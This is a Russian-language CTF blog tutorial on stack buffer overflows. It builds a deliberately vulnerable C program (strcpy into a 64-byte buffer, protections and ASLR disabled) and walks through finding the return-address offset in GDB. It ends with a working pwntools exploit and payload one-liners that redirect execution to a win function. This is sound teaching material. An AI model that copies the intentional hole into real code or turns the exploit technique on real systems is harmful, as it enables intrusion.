Главная / Блог / Переполнение буфера в pwn: стек, регистры и первый эксплойт под GDB

12 мин.00

Переполнение буфера в pwn: стек, регистры и первый эксплойт под GDB

Переполнение буфера в pwn: стек, регистры и первый эксплойт под GDB

Переполнение буфера в pwn: стек, регистры и первый эксплойт под GDB

На CTF задача на переполнение буфера без stack canary и ASLR — формально easy на 100 очков. Но раз за разом вижу, как участники, выучившие теорию про стековый кадр, спотыкаются на практике: не вычисляют offset до адреса возврата, путают порядок байт в little-endian, не понимают, что именно показывает GDB в момент краша. Результат — задача на 10 минут растягивается на два часа, а потом в чате: «у меня не работает, а payload точно правильный». Знакомо? Тогда разберём по шагам: от чистого терминала до работающего эксплойта — компилируем уязвимый бинарник, препарируем стек в отладчике, находим точку перезаписи EIP и автоматизируем атаку через pwntools.

Переполнение стека: что происходит при вызове функции

Стек — область оперативной памяти, работающая по принципу LIFO (последним пришёл — первым вышел). На x86 и x86-64 стек растёт от старших адресов к младшим: каждая push уменьшает указатель стека, pop — увеличивает. Тут важно не путать направление: стек растёт «вниз» по адресам, а буфер заполняется «вверх». Именно из-за этого противоположного направления переполнение и перезаписывает то, что лежит «выше» буфера — сохранённый EBP и адрес возврата. Подробнее — в нашем статье о бинарный анализ уязвимостей.

Когда программа вызывает функцию, процессор выполняет call, которая делает две вещи: кладёт на стек адрес следующей инструкции (это адрес возврата — return address) и передаёт управление вызываемой функции. Дальше пролог функции сохраняет текущее значение EBP на стеке и ставит новый EBP равным ESP — формируется стековый кадр (stack frame). Затем sub esp, N выделяет место под локальные переменные.

Стековый кадр и адрес возврата

Результат — стековый кадр со следующей структурой (адреса растут снизу вверх, ESP указывает на самый нижний элемент):

  • Локальные переменные (буферы, счётчики) — лежат по самым младшим адресам кадра, ESP указывает на их начало.
  • Сохранённый EBP (saved frame pointer) — значение EBP вызывающей функции, 4 байта на x86, 8 на x64.
  • Адрес возврата (return address) — адрес инструкции, куда процессор вернётся после ret.
  • Аргументы функции — выше адреса возврата (на x86 передаются через стек, на x64 — через регистры RDI, RSI, RDX, RCX, R8, R9).

Суть переполнения буфера в pwn сводится к одному: если локальная переменная (скажем, char buf[64]) заполняется данными без проверки длины, атакующий пишет за границы буфера, затирает сохранённый EBP, и — самое вкусное — перезаписывает адрес возврата. Когда функция выполняет ret, процессор снимает с вершины стека значение и суёт его в EIP. Если там уже лежит адрес, который подставил атакующий, — процессор послушно переходит туда. Всё, контроль над потоком выполнения получен.

Переполнение буфера на стеке как класс уязвимости — это CWE-121 (Stack-based Buffer Overflow) / CWE-787 (Out-of-bounds Write). В реальных атаках этот механизм может отработать по-разному в терминах MITRE ATT&CK — например, T1203 (Exploitation for Client Execution) при эксплуатации клиентского ПО или T1068 (Exploitation for Privilege Escalation) через уязвимый сервис.

Регистры x86 при переполнении буфера: ESP, EBP, EIP

Для эксплуатации переполнения стека достаточно уверенно понимать три регистра. На x86 (32 бита) они по 4 байта, на x86-64 — по 8, и называются с приставкой R вместо E.

ESP / RSP (Stack Pointer) — указывает на текущую вершину стека. Каждая push уменьшает его на размер слова, каждая pop увеличивает. В GDB значение ESP показывает, где «сейчас» находится стек. Команда x/20wx $esp выведет 20 четырёхбайтных значений начиная с вершины — так мы будем «читать» стек при анализе.

EBP / RBP (Base Pointer) — указывает на начало текущего стекового кадра. Относительно EBP компилятор адресует локальные переменные: [ebp-0x40] — буфер на 64 байта, [ebp-0x4] — переменная-счётчик. По адресу [ebp+0x4] лежит адрес возврата. Это ключевое знание: расстояние от буфера до [ebp+0x4] — тот самый offset, который мы ищем.

EIP — регистр, который решает всё

EIP / RIP (Instruction Pointer) — хранит адрес следующей инструкции. Записать в него значение напрямую из пользовательского кода нельзя. Но ret делает это за нас: снимает верхнее значение со стека и помещает в EIP. Если к моменту ret на вершине стека лежит контролируемый адрес — EIP указывает на произвольный код. В GDB при крашe с SIGSEGV значение EIP покажет, куда процессор пытался перейти. Видим 0x41414141 (ASCII AAAA) — мы перезаписали адрес возврата. EIP наш.

Разница между x86 и x64 для начинающего pwn-игрока: размер регистров (4 vs 8 байт), размер сохранённого EBP/RBP (4 vs 8), и соглашение о вызове (на x64 первые шесть целочисленных аргументов идут через регистры, а не через стек). Механика та же.

Собираем уязвимый бинарник для первого pwn

Требования к окружению

Перед началом соберите рабочее окружение:

  • ОС: Linux x86 или x86-64 (Ubuntu 20.04+ подходит). На 64-битной системе для 32-битных бинарников ставим gcc-multilib: sudo apt install gcc-multilib.
  • Компилятор: gcc (в Ubuntu 20.04 — gcc 9.3, в новых — 10+; подойдёт любая актуальная версия).
  • Отладчик: GDB + pwndbg или GEF. Без расширения GDB работает, но визуализация стека и регистров заметно беднее. Установка pwndbg: git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh (имя скрипта менялось между версиями — сверьтесь с README; в новых версиях также доступен pip install pwndbg).
  • pwntools: pip install pwntools>=4.13.0 (версии ниже 4.13.0 содержат уязвимость SSTI — GHSA-7xc5-ggpp-g249).
  • RAM: 512 МБ хватит за глаза.

Весь разбор ведём на 32-битном бинарнике (x86). Offset'ы компактнее, адреса короче, стековый кадр нагляднее. Принцип полностью переносится на x64 — отличия описаны в разделе про ошибки.

Уязвимая программа и флаги компиляции

Минимальный уязвимый бинарник. Функция win() выводит флаг, но нигде не вызывается из main. Функция vuln() копирует пользовательский ввод в буфер через strcpy без проверки длины — классика:

#include <stdio.h>
#include <string.h>
void win() { printf("Flag: CTF{overflow_101}\n"); }
void vuln(char *input) {
    char buf[64];
    strcpy(buf, input);  // вот тут и живёт баг
}
int main(int argc, char **argv) {
    vuln(argv[1]);
    return 0;
}

Компилируем: gcc -m32 -O0 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c. Каждый флаг отключает конкретную защиту:

  • -m32 — 32-битный бинарник.
  • -O0 — без оптимизаций, иначе компилятор может «выкинуть» уязвимый код.
  • -fno-stack-protector — отключает stack canary (случайное значение перед адресом возврата, проверяемое перед ret).
  • -z execstack — разрешает выполнение кода в стеке (отключает NX-бит).
  • -no-pie — фиксированные адреса функций, без рандомизации секции кода.

Дополнительно отключаем ASLR: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space. Без этого адреса стека меняются при каждом запуске — жёстко зашитый payload промахнётся.

Работает если: ASLR отключен, canary отсутствует, NX отключен, PIE отключен. Не работает если: любая из защит включена — потребуются дополнительные техники: leak адресов для обхода ASLR, ROP-цепочки для NX, brute force или format string для canary.

Анализ бинарника в GDB: разбор стека по шагам

Загружаем бинарник: gdb ./vuln. Если pwndbg установлен, при остановке на breakpoint автоматически отобразятся регистры, стек и дизассемблирование — всё в одном окне. Без pwndbg придётся вручную дёргать info registers, x/20wx $esp, disas — работает, но медленнее.

Шаг 1. Находим адрес win. info functions win — выведет строку вида 0x08049196 win. Этот адрес — наша цель. Запишите его.

Шаг 2. Ставим breakpoint и запускаем. break vuln, затем run AAAA (четыре безобидных символа). GDB остановится на входе в vuln.

Шаг 3. Смотрим стековый кадр. disas vuln — дизассемблируем функцию. В прологе увидим знакомую последовательность: push ebp / mov ebp, esp / sub esp, 0x48. Значение 0x48 (72 в десятичной) — размер области под локальные переменные, включая выравнивание. Буфер buf начинается от [ebp-0x48] или от [ebp-0x44] в зависимости от версии gcc и выравнивания. Точный адрес покажет p &buf после выполнения первой инструкции тела функции.

Шаг 4. Вычисляем расстояние до адреса возврата. Адрес возврата лежит по $ebp+4. Буфер начинается, допустим, по 0xffffd0e0. Смотрим $ebp+4 — скажем, 0xffffd12c. Разница: 0xffffd12c - 0xffffd0e0 = 0x4c = 76 байт. Это offset — количество байт заполнителя перед адресом возврата в payload.

Находим offset до адреса возврата

Ручной подсчёт через адреса — надёжный способ, но есть метод проще: циклический паттерн. cyclic(100) из pwntools генерирует последовательность из 100 байт, где любые 4 подряд идущих байта уникальны. Это избавляет от арифметики и ошибок выравнивания.

Запускаем в GDB: run $(python3 -c "from pwn import *; import sys; sys.stdout.buffer.write(cyclic(100))"). Программа падает с SIGSEGV. Смотрим EIP — pwndbg покажет его в контекстном окне, в стандартном GDB: info registers eip. Видим, например, 0x6161616c. Узнаём offset: python3 -c "from pwn import *; print(cyclic_find(0x6161616c))" — получаем 76. Совпадает с ручным расчётом. Красота.

Альтернатива без pwntools — утилиты Metasploit Framework: pattern_create.rb -l 100 для генерации и pattern_offset.rb -q 0x6161616c для вычисления offset. Результат тот же, но pwntools удобнее для автоматизации — всё в одном скрипте.

Эксплуатация переполнения буфера: перезапись адреса возврата

Payload собирается по формуле: [offset байт заполнителя] + [4 байта адреса win в little-endian]. Для нашего примера: 76 байт символа A + адрес 0x08049196 в формате little-endian: \x96\x91\x04\x08.

Проверяем в GDB: run $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'\x96\x91\x04\x08')"). Если offset вычислен верно — вместо SIGSEGV видим Flag: CTF{overflow_101}. Функция vuln выполнила ret, сняла со стека наш адрес, запихнула его в EIP, процессор перешёл на win и выполнил printf. Переполнение буфера отработало.

Если вместо флага снова SIGSEGV — проверяем три вещи: offset (пересчитать через cyclic), порядок байт (на x86 — little-endian, \x96\x91\x04\x08, а НЕ \x08\x04\x91\x96), адрес win (при каждой перекомпиляции он может уехать — info functions win).

Вне GDB запускаем из терминала: ./vuln $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'\x96\x91\x04\x08')"). Если ASLR отключен — результат совпадает.

Автоматизация эксплойта через pwntools

На CTF бинарник обычно крутится на удалённом сервере и читает ввод из stdin. Ручная подстановка байт в командную строку — путь к безумию. Вот полноценный эксплойт:

from pwn import *
elf = ELF('./vuln')
offset = 76
win_addr = elf.symbols['win']  # адрес вытянется автоматически
payload = b'A' * offset + p32(win_addr)
p = process(['./vuln', payload])
# Для CTF-сервера: p = remote('ctf.example.com', 1337)
print(p.recvall().decode())

Что здесь происходит: ELF('./vuln') парсит бинарник и даёт таблицу символов — elf.symbols['win'] возвращает адрес win без ручного поиска. p32() упаковывает 32-битное целое в 4 байта little-endian (для 64-битных — p64()). process запускает локальный бинарник, remote — подключается к CTF-серверу по TCP.

Для задач, где ввод идёт через stdin (а не через argv), замените process(['./vuln', payload]) на запуск без аргумента и отправьте payload через p.sendline(payload).

Основы pwn CTF: грабли начинающих

После сотен разобранных задач список типичных ошибок устоялся. Проверяйте себя по этому чеклисту до того, как писать «у меня эксплойт не работает»:

Неверный offset. Главный источник боли. Компилятор добавляет выравнивание: буфер на 64 байта может занять 68, 72 или 80 байт на стеке. Между буфером и сохранённым EBP могут лежать другие локальные переменные. Единственный надёжный метод — cyclic() + cyclic_find(). Ручной подсчёт «64 буфера + 4 EBP = 68» работает только в учебниках. В реальности gcc может подложить padding, и ваши 68 байт окажутся мимо.

Путаница с endianness. На x86 и x86-64 данные хранятся в little-endian: младший байт по младшему адресу. Адрес 0xdeadbeef записывается как \xef\xbe\xad\xde. Интуитивно хочется «как читается слева направо» — это big-endian, и такой payload гарантированно промахнётся. p32() из pwntools снимает проблему.

ASLR работает по-разному внутри и вне GDB. Внутри GDB рандомизация по умолчанию отключена (проверить: show disable-randomization). Поэтому эксплойт работает в отладчике, но падает из терминала. Классическая ловушка. Проверяйте cat /proc/sys/kernel/randomize_va_space: 2 — ASLR активен, 0 — отключен.

Stack canary не замечен. Если бинарник собран без -fno-stack-protector, между локальными переменными и адресом возврата лежит случайное значение (canary). При перезаписи canary программа выводит *** stack smashing detected *** и завершается. Быстрая проверка: checksec ./vuln в pwndbg или ELF('./vuln').checksec() в pwntools — если Canary: Enabled, прямой overflow не пройдёт.

Выравнивание стека на x64 (не относится к 32-битному примеру выше). На 64-битных системах функции из libc (особенно system() и printf с форматными строками) требуют RSP выровненного на 16 байт. Если эксплойт падает с SIGSEGV внутри вызываемой функции, а не на ret, — проблема в alignment. Решение: перед целевым адресом добавьте адрес гаджета ret (одиночная инструкция ret), сдвигающего RSP на 8 байт. Найти: ROPgadget --binary ./vuln | grep ': ret$'.

Не та архитектура. Payload собран под x86, а бинарник — x64 (или наоборот). file ./vuln покажет: ELF 32-bit LSB executable для x86 или ELF 64-bit LSB executable для x64. Для x64: offset = размер буфера + 8 (saved RBP), адрес упаковывается через p64(), адрес будет вида 0x00000000004011xx.

Shellcode не выполняется при включённом NX. Если вместо перехода на win подкладываете shellcode на стек, убедитесь, что NX отключен (-z execstack). При включённом NX стек помечен как non-executable — процессор откажется выполнять код оттуда. В этом случае используют ROP — цепочки гаджетов из существующего кода бинарника.

Чеклист: checksec → offset через паттерн → endianness → ASLR → alignment. Пройдитесь по нему до того, как начнёте подозревать задачу в нерабочем состоянии. Экономит часы.

Переполнение буфера — фундамент категории pwn. Без уверенного понимания стекового кадра и механики ret любая следующая тема — ROP, format string, heap exploitation — будет казаться магией. Но вот что редко говорят новичкам: на реальных CTF даже задачи на 100 очков почти никогда не дают «голый» overflow совсем без защит. Уже на easy-уровне включают canary или NX, и от участника ждут умения комбинировать: leak canary через побочный канал, ret2libc для обхода NX, partial overwrite при включённом PIE. Те, кто освоил базовый overflow и остановился на «я умею переписывать EIP на задачах без защит» — через полгода обнаруживают, что не продвинулись ни на уровень.

Мой подход после каждого решённого таска: пересобрать бинарник с -fstack-protector и попытаться обойти canary. Потом включить ASLR и найти info leak. Потом включить NX и собрать ROP-цепочку. Каждый слой защиты — отдельный навык, и прокачивать их надо последовательно, сразу после первого успеха. Если хочешь пройти всю цепочку от overflow до ROP на лабах с прогрессией — на WAPT эту механику разбирают в модулях с менторством.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...